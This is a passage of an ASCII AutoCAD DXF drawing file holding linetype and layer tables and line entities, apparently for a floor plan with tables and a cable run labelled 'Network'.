+0.1967697623221493 + 30 +0.0 + 9 +$DIMEXE + 40 +0.05 + 9 +$DIMAUNIT + 70 +0 + 9 +$AUNITS + 70 +0 + 0 +ENDSEC + 0 +SECTION + 2 +TABLES + 0 +TABLE + 2 +VPORT + 5 +8 +100 +AcDbSymbolTable + 70 +1 + 0 +VPORT + 5 +30 +100 +AcDbSymbolTableRecord +100 +AcDbViewportTableRecord + 2 +*Active + 70 +0 + 10 +0.0 + 20 +0.0 + 11 +1.0 + 21 +1.0 + 12 +286.3055555555554861 + 22 +148.5 + 13 +0.0 + 23 +0.0 + 14 +10.0 + 24 +10.0 + 15 +10.0 + 25 +10.0 + 16 +0.0 + 26 +0.0 + 36 +1.0 + 17 +0.0 + 27 +0.0 + 37 +0.0 + 40 +297.0 + 41 +1.92798353909465 + 42 +50.0 + 43 +0.0 + 44 +0.0 + 50 +0.0 + 51 +0.0 + 71 +0 + 72 +100 + 73 +1 + 74 +3 + 75 +1 + 76 +1 + 77 +0 + 78 +0 +281 +0 + 65 +1 +110 +0.0 +120 +0.0 +130 +0.0 +111 +1.0 +121 +0.0 +131 +0.0 +112 +0.0 +122 +1.0 +132 +0.0 + 79 +0 +146 +0.0 + 0 +ENDTAB + 0 +TABLE + 2 +LTYPE + 5 +5 +100 +AcDbSymbolTable + 70 +21 + 0 +LTYPE + 5 +14 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +ByBlock + 70 +0 + 3 + + 72 +65 + 73 +0 + 40 +0.0 + 0 +LTYPE + 5 +15 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +ByLayer + 70 +0 + 3 + + 72 +65 + 73 +0 + 40 +0.0 + 0 +LTYPE + 5 +16 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +CONTINUOUS + 70 +0 + 3 +Solid line + 72 +65 + 73 +0 + 40 +0.0 + 0 +LTYPE + 5 +31 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DOT + 70 +0 + 3 +Dot . . . . . . . . . . . . . . . . . . . . . . + 72 +65 + 73 +2 + 40 +6.3499999999999996 + 49 +0.0 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 0 +LTYPE + 5 +32 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DOT2 + 70 +0 + 3 +Dot (.5x) ..................................... + 72 +65 + 73 +2 + 40 +3.1749999999999998 + 49 +0.0 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 0 +LTYPE + 5 +33 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DOTX2 + 70 +0 + 3 +Dot (2x) . . . . . . . . . . . . . + 72 +65 + 73 +2 + 40 +12.6999999999999993 + 49 +0.0 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 0 +LTYPE + 5 +34 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DASHED + 70 +0 + 3 +Dashed __ __ __ __ __ __ __ __ __ __ __ __ __ _ + 72 +65 + 73 +2 + 40 +19.0500000000000007 + 49 +12.6999999999999993 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 0 +LTYPE + 5 +35 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DASHED2 + 70 +0 + 3 +Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ + 72 +65 + 73 +2 + 40 +9.5250000000000004 + 49 +6.3499999999999996 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 0 +LTYPE + 5 +36 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DASHEDX2 + 70 +0 + 3 +Dashed (2x) ____ ____ ____ ____ ____ ___ + 72 +65 + 73 +2 + 40 +38.1000000000000014 + 49 +25.3999999999999986 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 0 +LTYPE + 5 +37 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DASHDOT + 70 +0 + 3 +Dash dot __ . __ . __ . __ . __ . __ . __ . __ + 72 +65 + 73 +4 + 40 +25.3999999999999986 + 49 +12.6999999999999993 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 0 +LTYPE + 5 +38 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DASHDOT2 + 70 +0 + 3 +Dash dot (.5x) _._._._._._._._._._._._._._._. + 72 +65 + 73 +4 + 40 +12.6999999999999993 + 49 +6.3499999999999996 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 0 +LTYPE + 5 +39 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DASHDOTX2 + 70 +0 + 3 +Dash dot (2x) ____ . ____ . ____ . ___ + 72 +65 + 73 +4 + 40 +50.7999999999999972 + 49 +25.3999999999999986 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 0 +LTYPE + 5 +3A +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DIVIDE + 70 +0 + 3 +Divide ____ . . ____ . . ____ . . ____ . . ____ + 72 +65 + 73 +6 + 40 +31.75 + 49 +12.6999999999999993 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 0 +LTYPE + 5 +3B +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DIVIDE2 + 70 +0 + 3 +Divide (.5x) __..__..__..__..__..__..__..__.._ + 72 +65 + 73 +6 + 40 +15.875 + 49 +6.3499999999999996 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 0 +LTYPE + 5 +3C +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +DIVIDEX2 + 70 +0 + 3 +Divide (2x) ________ . . ________ . . _ + 72 +65 + 73 +6 + 40 +63.5 + 49 +25.3999999999999986 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 0 +LTYPE + 5 +3D +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +CENTER + 70 +0 + 3 +Center ____ _ ____ _ ____ _ ____ _ ____ _ ____ + 72 +65 + 73 +4 + 40 +50.7999999999999972 + 49 +31.75 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 49 +6.3499999999999996 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 0 +LTYPE + 5 +3E +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +CENTER2 + 70 +0 + 3 +Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___ + 72 +65 + 73 +4 + 40 +28.5749999999999993 + 49 +19.0500000000000007 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 49 +3.1749999999999998 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 0 +LTYPE + 5 +3F +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +CENTERX2 + 70 +0 + 3 +Center (2x) ________ __ ________ __ _____ + 72 +65 + 73 +4 + 40 +101.5999999999999943 + 49 +63.5 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 49 +12.6999999999999993 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 0 +LTYPE + 5 +40 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +BORDER + 70 +0 + 3 +Border __ __ . __ __ . __ __ . __ __ . __ __ . + 72 +65 + 73 +6 + 40 +44.4500000000000028 + 49 +12.6999999999999993 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 49 +12.6999999999999993 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-6.3499999999999996 + 74 +0 + 0 +LTYPE + 5 +41 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +BORDER2 + 70 +0 + 3 +Border (.5x) __.__.__.__.__.__.__.__.__.__.__. + 72 +65 + 73 +6 + 40 +22.2250000000000014 + 49 +6.3499999999999996 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 49 +6.3499999999999996 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-3.1749999999999998 + 74 +0 + 0 +LTYPE + 5 +42 +100 +AcDbSymbolTableRecord +100 +AcDbLinetypeTableRecord + 2 +BORDERX2 + 70 +0 + 3 +Border (2x) ____ ____ . ____ ____ . ___ + 72 +65 + 73 +6 + 40 +88.9000000000000057 + 49 +25.3999999999999986 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 49 +25.3999999999999986 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 49 +0.0 + 74 +0 + 49 +-12.6999999999999993 + 74 +0 + 0 +ENDTAB + 0 +TABLE + 2 +LAYER + 5 +2 +100 +AcDbSymbolTable + 70 +3 + 0 +LAYER + 5 +10 +100 +AcDbSymbolTableRecord +100 +AcDbLayerTableRecord + 2 +0 + 70 +0 + 62 +7 + 6 +CONTINUOUS +370 +0 +390 +F + 0 +LAYER + 5 +43 +100 +AcDbSymbolTableRecord +100 +AcDbLayerTableRecord + 2 +Tables + 70 +0 + 62 +6 + 6 +CONTINUOUS +370 +0 +390 +F + 0 +LAYER + 5 +44 +100 +AcDbSymbolTableRecord +100 +AcDbLayerTableRecord + 2 +Network + 70 +0 + 62 +3 + 6 +CONTINUOUS +370 +-3 +390 +F + 0 +ENDTAB + 0 +TABLE + 2 +STYLE + 5 +3 +100 +AcDbSymbolTable + 70 +1 + 0 +STYLE + 5 +11 +100 +AcDbSymbolTableRecord +100 +AcDbTextStyleTableRecord + 2 +Standard + 70 +0 + 40 +0.0 + 41 +0.75 + 50 +0.0 + 71 +0 + 42 +2.5 + 3 +txt + 4 + + 0 +ENDTAB + 0 +TABLE + 2 +VIEW + 5 +6 +100 +AcDbSymbolTable + 70 +0 + 0 +ENDTAB + 0 +TABLE + 2 +UCS + 5 +7 +100 +AcDbSymbolTable + 70 +0 + 0 +ENDTAB + 0 +TABLE + 2 +APPID + 5 +9 +100 +AcDbSymbolTable + 70 +1 + 0 +APPID + 5 +12 +100 +AcDbSymbolTableRecord +100 +AcDbRegAppTableRecord + 2 +ACAD + 70 +0 + 0 +ENDTAB + 0 +TABLE + 2 +DIMSTYLE + 5 +A +100 +AcDbSymbolTable + 70 +1 +100 +AcDbDimStyleTable + 71 +0 + 0 +DIMSTYLE +105 +27 +100 +AcDbSymbolTableRecord +100 +AcDbDimStyleTableRecord + 2 +Standard + 41 +0.1 + 42 +0.025 + 43 +3.75 + 44 +0.05 + 70 +0 + 73 +0 + 74 +0 + 77 +1 + 78 +8 +140 +0.1 +141 +2.5 +143 +0.03937007874016 +147 +0.025 +171 +3 +172 +1 +271 +2 +272 +2 +274 +3 +278 +44 +283 +0 +284 +8 +340 +11 + 0 +ENDTAB + 0 +TABLE + 2 +BLOCK_RECORD + 5 +1 +100 +AcDbSymbolTable + 70 +1 + 0 +BLOCK_RECORD + 5 +1F +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord + 2 +*Model_Space +340 +22 + 0 +BLOCK_RECORD + 5 +1B +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord + 2 +*Paper_Space +340 +1E + 0 +BLOCK_RECORD + 5 +23 +100 +AcDbSymbolTableRecord +100 +AcDbBlockTableRecord + 2 +*Paper_Space0 +340 +26 + 0 +ENDTAB + 0 +ENDSEC + 0 +SECTION + 2 +BLOCKS + 0 +BLOCK + 5 +20 +100 +AcDbEntity + 8 +0 +100 +AcDbBlockBegin + 2 +*Model_Space + 70 +0 + 10 +0.0 + 20 +0.0 + 30 +0.0 + 3 +*Model_Space + 1 + + 0 +ENDBLK + 5 +21 +100 +AcDbEntity + 8 +0 +100 +AcDbBlockEnd + 0 +BLOCK + 5 +1C +100 +AcDbEntity + 67 +1 + 8 +0 +100 +AcDbBlockBegin + 2 +*Paper_Space + 70 +0 + 10 +0.0 + 20 +0.0 + 30 +0.0 + 3 +*Paper_Space + 1 + + 0 +ENDBLK + 5 +1D +100 +AcDbEntity + 67 +1 + 8 +0 +100 +AcDbBlockEnd + 0 +BLOCK + 5 +24 +100 +AcDbEntity + 8 +0 +100 +AcDbBlockBegin + 2 +*Paper_Space0 + 70 +0 + 10 +0.0 + 20 +0.0 + 30 +0.0 + 3 +*Paper_Space0 + 1 + + 0 +ENDBLK + 5 +25 +100 +AcDbEntity + 8 +0 +100 +AcDbBlockEnd + 0 +ENDSEC + 0 +SECTION + 2 +ENTITIES + 0 +LINE + 5 +45 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +0.0 + 20 +0.0 + 30 +0.0 + 11 +11.3333333333333339 + 21 +0.0 + 31 +0.0 + 0 +LINE + 5 +46 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +19.0 + 20 +0.0 + 30 +0.0 + 11 +39.0 + 21 +0.0 + 31 +0.0 + 0 +LINE + 5 +47 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +39.0 + 20 +0.0 + 30 +0.0 + 11 +39.0 + 21 +2.8333333333333335 + 31 +0.0 + 0 +LINE + 5 +48 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +39.0 + 20 +2.8333333333333335 + 30 +0.0 + 11 +42.0 + 21 +2.8333333333333335 + 31 +0.0 + 0 +LINE + 5 +49 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +42.0 + 20 +2.8333333333333335 + 30 +0.0 + 11 +42.0 + 21 +0.0000033333333334 + 31 +0.0 + 0 +LINE + 5 +4A +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +42.0 + 20 +0.0000033333333334 + 30 +0.0 + 11 +68.1666666666666714 + 21 +0.0000033333333334 + 31 +0.0 + 0 +LINE + 5 +4B +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.1666666666666714 + 20 +0.0000033333333334 + 30 +0.0 + 11 +80.0 + 21 +0.0 + 31 +0.0 + 0 +LINE + 5 +4C +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.1666666666666714 + 20 +0.0000033333333334 + 30 +0.0 + 11 +79.9911321448893489 + 21 +4.3037568035146645 + 31 +0.0 + 0 +LINE + 5 +4D +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.9911321448893489 + 20 +4.3037568035146645 + 30 +0.0 + 11 +79.9911321448893489 + 21 +19.1370901368479984 + 31 +0.0 + 0 +LINE + 5 +4E +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.9911321448893489 + 20 +19.1370901368479984 + 30 +0.0 + 11 +79.9911321448893489 + 21 +32.3037568035146663 + 31 +0.0 + 0 +LINE + 5 +4F +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.9911321448893489 + 20 +19.1370901368479984 + 30 +0.0 + 11 +71.1577988115560203 + 21 +32.3037568035146663 + 31 +0.0 + 0 +LINE + 5 +50 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +71.1577988115560203 + 20 +32.3037568035146663 + 30 +0.0 + 11 +71.1577988115560203 + 21 +43.9704234701813306 + 31 +0.0 + 0 +LINE + 5 +51 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +71.1577988115560203 + 20 +43.9704234701813306 + 30 +0.0 + 11 +79.9911321448893489 + 21 +57.1370901368479949 + 31 +0.0 + 0 +LINE + 5 +52 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.9911321448893489 + 20 +57.1370901368479949 + 30 +0.0 + 11 +79.9911321448893489 + 21 +19.1370901368479984 + 31 +0.0 + 0 +LINE + 5 +53 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.9911321448893489 + 20 +57.1370901368479949 + 30 +0.0 + 11 +79.9911321448893489 + 21 +77.7204234701813306 + 31 +0.0 + 0 +LINE + 5 +54 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.9911321448893489 + 20 +77.7204234701813306 + 30 +0.0 + 11 +79.9911321448893489 + 21 +81.9704234701813306 + 31 +0.0 + 0 +LINE + 5 +55 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +79.9911321448893489 + 20 +81.9704234701813306 + 30 +0.0 + 11 +68.1577991448893528 + 21 +81.9704234701813306 + 31 +0.0 + 0 +LINE + 5 +56 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.1577991448893528 + 20 +81.9704234701813306 + 30 +0.0 + 11 +79.9911321448893489 + 21 +77.7204234701813306 + 31 +0.0 + 0 +LINE + 5 +57 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +68.1577991448893528 + 20 +81.9704234701813306 + 30 +0.0 + 11 +42.4911324782226814 + 21 +81.9704234701813306 + 31 +0.0 + 0 +LINE + 5 +58 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +42.4911324782226814 + 20 +81.9704234701813306 + 30 +0.0 + 11 +42.4911324782226814 + 21 +79.137090136848002 + 31 +0.0 + 0 +LINE + 5 +59 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +42.4911324782226814 + 20 +79.137090136848002 + 30 +0.0 + 11 +39.4911324782226814 + 21 +79.137090136848002 + 31 +0.0 + 0 +LINE + 5 +5A +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +39.4911324782226814 + 20 +79.137090136848002 + 30 +0.0 + 11 +39.4911324782226814 + 21 +81.9704234701813306 + 31 +0.0 + 0 +LINE + 5 +5B +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +39.4911324782226814 + 20 +81.9704234701813306 + 30 +0.0 + 11 +7.7411324782226814 + 21 +81.9704234701813306 + 31 +0.0 + 0 +LINE + 5 +5C +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +7.7411324782226814 + 20 +81.9704234701813306 + 30 +0.0 + 11 +0.0 + 21 +82.0 + 31 +0.0 + 0 +LINE + 5 +5D +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +0.0 + 20 +82.0 + 30 +0.0 + 11 +0.0 + 21 +76.9166666666666714 + 31 +0.0 + 0 +LINE + 5 +5E +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +0.0 + 20 +65.5833333333333428 + 30 +0.0 + 11 +0.0 + 21 +41.5000000000000142 + 31 +0.0 + 0 +LINE + 5 +5F +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +0.0 + 20 +41.5000000000000142 + 30 +0.0 + 11 +8.5833333333333339 + 21 +41.5000000000000142 + 31 +0.0 + 0 +LINE + 5 +60 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +0.0 + 20 +0.0 + 30 +0.0 + 11 +0.0 + 21 +34.1666666666666643 + 31 +0.0 + 0 +LINE + 5 +61 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +0.0 + 20 +34.1666666666666643 + 30 +0.0 + 11 +8.5833333333333339 + 21 +34.1666666666666643 + 31 +0.0 + 0 +LINE + 5 +62 +100 +AcDbEntity +100 +AcDbLine + 8 +0 + 62 +256 +370 +-1 + 6 +ByLayer + 10 +8.5833333333333339 + 20 +34.1666666666666643 + 30 +0.0 + 11 +8.5833333333333339 + 21 +41.5000000000000142 + 31 +0.0 + 0 +MTEXT + 5 +63 +100 +AcDbEntity +100 +AcDbMText + 8 +Network + 62 +256 +370 +-1 + 6 +ByLayer + 10 +92.25 + 20 +28.0 + 30 +0.0 + 40 +1.0 + 41 +100.0 + 71 +1 + 72 +2 + 1 +Network + 7 +normallatin1 + 50 +0.0 + 73 +1 + 44 +1.0 + 0 +LINE + 5 +64 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +8.5833333333333339 + 20 +38.0175444241316427 + 30 +0.0 + 11 +71.1577988115560203 + 21 +38.0175444241316427 + 31 +0.0 + 0 +LINE + 5 +65 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +1.2216452282157677 + 20 +22.8040442600276627 + 30 +0.0 + 11 +2.239682918395574 + 21 +22.8040442600276627 + 31 +0.0 + 0 +LINE + 5 +66 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.239682918395574 + 20 +22.8040442600276627 + 30 +0.0 + 11 +2.239682918395574 + 21 +9.7731618257261417 + 31 +0.0 + 0 +LINE + 5 +67 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.239682918395574 + 20 +9.7731618257261417 + 30 +0.0 + 11 +1.2216452282157677 + 21 +9.7731618257261417 + 31 +0.0 + 0 +LINE + 5 +68 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +1.2216452282157677 + 20 +9.7731618257261417 + 30 +0.0 + 11 +1.2216452282157677 + 21 +22.8040442600276627 + 31 +0.0 + 0 +LINE + 5 +69 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +45.4999999999999929 + 30 +0.0 + 11 +41.5028970401106463 + 21 +45.4999999999999929 + 31 +0.0 + 0 +LINE + 5 +6A +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.5028970401106463 + 20 +47.9999999999999929 + 30 +0.0 + 11 +33.5028970401106463 + 21 +47.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +6B +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +47.9999999999999929 + 30 +0.0 + 11 +33.5028970401106463 + 21 +45.4999999999999929 + 31 +0.0 + 0 +LINE + 5 +6C +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +31.0028970401106463 + 20 +39.9999999999999929 + 30 +0.0 + 11 +33.5028970401106463 + 21 +39.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +6D +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +39.9999999999999929 + 30 +0.0 + 11 +33.5028970401106463 + 21 +47.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +6E +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +33.5028970401106463 + 20 +47.9999999999999929 + 30 +0.0 + 11 +31.0028970401106463 + 21 +47.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +6F +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +31.0028970401106463 + 20 +47.9999999999999929 + 30 +0.0 + 11 +31.0028970401106463 + 21 +39.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +70 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.5028970401106463 + 20 +45.4999999999999929 + 30 +0.0 + 11 +41.5028970401106463 + 21 +47.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +71 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +49.6341328907330919 + 20 +45.5 + 30 +0.0 + 11 +41.6341328907330919 + 21 +45.4999999999999929 + 31 +0.0 + 0 +LINE + 5 +72 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.6341328907330919 + 20 +47.9999999999999929 + 30 +0.0 + 11 +49.6341328907330919 + 21 +47.9999999999999076 + 31 +0.0 + 0 +LINE + 5 +73 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +49.6341328907330919 + 20 +47.9999999999999076 + 30 +0.0 + 11 +49.6341328907330919 + 21 +45.5 + 31 +0.0 + 0 +LINE + 5 +74 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +52.1341328907330919 + 20 +39.9999999999999929 + 30 +0.0 + 11 +49.6341328907330919 + 21 +39.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +75 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +49.6341328907330919 + 20 +39.9999999999999929 + 30 +0.0 + 11 +49.6341328907330919 + 21 +47.9999999999999076 + 31 +0.0 + 0 +LINE + 5 +76 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +49.6341328907330919 + 20 +47.9999999999999076 + 30 +0.0 + 11 +52.1341328907330919 + 21 +47.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +77 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +52.1341328907330919 + 20 +47.9999999999999929 + 30 +0.0 + 11 +52.1341328907330919 + 21 +39.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +78 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +41.6341328907330919 + 20 +45.4999999999999929 + 30 +0.0 + 11 +41.6341328907330919 + 21 +47.9999999999999929 + 31 +0.0 + 0 +LINE + 5 +79 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.0849411894882439 + 20 +59.6814415491009882 + 30 +0.0 + 11 +3.1274117842323661 + 21 +59.6814415491009882 + 31 +0.0 + 0 +LINE + 5 +7A +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +3.1274117842323661 + 20 +59.6814415491009882 + 30 +0.0 + 11 +3.1274117842323661 + 21 +48.344573831258657 + 31 +0.0 + 0 +LINE + 5 +7B +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +3.1274117842323661 + 20 +48.344573831258657 + 30 +0.0 + 11 +2.0849411894882439 + 21 +48.344573831258657 + 31 +0.0 + 0 +LINE + 5 +7C +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +2.0849411894882439 + 20 +48.344573831258657 + 30 +0.0 + 11 +2.0849411894882439 + 21 +59.6814415491009882 + 31 +0.0 + 0 +LINE + 5 +7D +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +10.2943971230982054 + 20 +54.2084709266943463 + 30 +0.0 + 11 +12.5096471369294644 + 21 +54.2084709266943463 + 31 +0.0 + 0 +LINE + 5 +7E +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +12.5096471369294644 + 20 +54.2084709266943463 + 30 +0.0 + 11 +12.5096471369294644 + 21 +51.8629120885200692 + 31 +0.0 + 0 +LINE + 5 +7F +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +12.5096471369294644 + 20 +51.8629120885200692 + 30 +0.0 + 11 +10.2943971230982054 + 21 +51.8629120885200692 + 31 +0.0 + 0 +LINE + 5 +80 +100 +AcDbEntity +100 +AcDbLine + 8 +Tables + 62 +256 +370 +-1 + 6 +ByLayer + 10 +10.2943971230982054 + 20 +51.8629120885200692 + 30 +0.0 + 11 +10.2943971230982054 + 21 +54.2084709266943463 